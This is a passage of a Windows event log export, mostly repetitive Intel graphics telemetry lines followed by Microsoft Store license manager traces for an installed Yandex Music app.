process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:02.951\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:03.094\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:03.240\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:03.383\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:03.526\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:03.670\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:03.819\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.071\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.195\t1\tTenant P-ARIA-6660cc65b74b4291b30536aea7ed6ead-5a228f6e-723e-4098-8ed2-3554f184fd67-7451 has been registered for telemetry usage.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:30:04.212\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.359\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.504\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.647\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.792\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:04.938\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:05.083\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:05.222\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:05.368\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:05.511\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:05.556\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:30:05.557\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:30:05.557\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:30:05.652\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:05.803\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:06.059\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:06.203\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:06.457\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:06.596\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:06.741\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:06.883\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.029\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.170\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.322\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.462\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.606\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.748\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:07.897\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:08.043\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:08.295\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:08.442\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:08.585\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:08.730\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.004\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.155\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.295\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.417\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.417\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.417\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.422\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.441\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.587\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.731\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.735\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.736\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.738\t8001\t\"Skipping license manager: PFN Microsoft.StorePurchaseApp_22605.1401.3.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.741\t8001\t\"Skipping license manager: PFN Microsoft.WindowsStore_22606.1401.6.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.741\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.741\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.742\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.742\t8001\t\"Skipping license manager: PFN Microsoft.WindowsStore_22606.1401.6.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.743\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(2) tid(3564) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.743\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.743\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.744\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(3) tid(3564) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.744\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.746\t8001\t\"Skipping license manager: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8001\t\"Licensing package A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6 (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8001\t\"Licensing 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8001\t\"0000021F831D39B0: Key Machine for content: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8011\t0x21f83133e68: 13728: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8011\t0x21f831d39d0: 13728: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8001\t\"0000021F831D39B0: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.749\t8012\t0x21f831d39d0: 13728: Key:Initial Change: Key:NegotiatingUnleased => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.751\t8001\t\"Considering License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.751\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.751\t8001\t\"Accepting key with License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for Content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.751\t8001\t\"Returning key document for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.752\t8001\t\"Getting lease for 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.756\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.756\t8001\t\"Adding lease {941FBCC0-EC32-D9CB-EB46-FC3AE38EC79B} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.756\t8001\t\"Returning 1 lease documents for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.756\t8001\t\"lease = 0x83178a28, usage = 268435456, policy = 1, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.756\t8011\t0x21f831d39d0: 13732: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"lease = 0x83178a28, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Lease Machine: 0000021F8312B600: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Set results for lease = 0x83178a28, policy = 1, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8011\t0x21f8312b620: 13728: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8012\t0x21f8312b620: 13728: Lease:Initial Change: Lease:Valid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x83178a28\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8012\t0x21f831d39d0: 13732: Key:NegotiatingUnleased Change: Key:Valid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Decoding: 